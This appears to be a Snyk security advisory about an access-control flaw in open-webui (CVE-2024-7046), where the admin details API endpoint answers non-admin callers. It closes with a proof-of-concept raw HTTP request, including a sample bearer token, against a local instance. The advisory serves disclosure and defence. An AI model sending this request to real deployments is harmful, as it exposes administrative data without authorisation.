Undefined Behavior for Input to API Affecting open-webui package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-OPENWEBUI-9680265
- published10 Apr 2025
- disclosed20 Mar 2025
- creditfewword
Introduced: 20 Mar 2025
NewCVE-2024-7046 (opens in a new tab)How to fix?
There is no fixed version for open-webui.
Overview
open-webui is an Open WebUI
Affected versions of this package are vulnerable to Undefined Behavior for Input to API due to improper access control on the /api/v1/auths/admin/details interface. An attacker can view administrative details by directly calling the interface without needing administrative privileges.
Note:
This is only exploitable if the attacker has network access to the application's API.
PoC
GET /api/v1/auths/admin/details HTTP/1.1
Host: localhost:8090
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImYxYWE3YTE4LTYxN2UtNGViOC05ZWE4LWYwYjQ2NTMzYzE0ZiJ9.Wrvss1VJkvwdiS4N8C9UBo17jmsY-3wjynuFoMNrMP8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8090/admin/settings/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close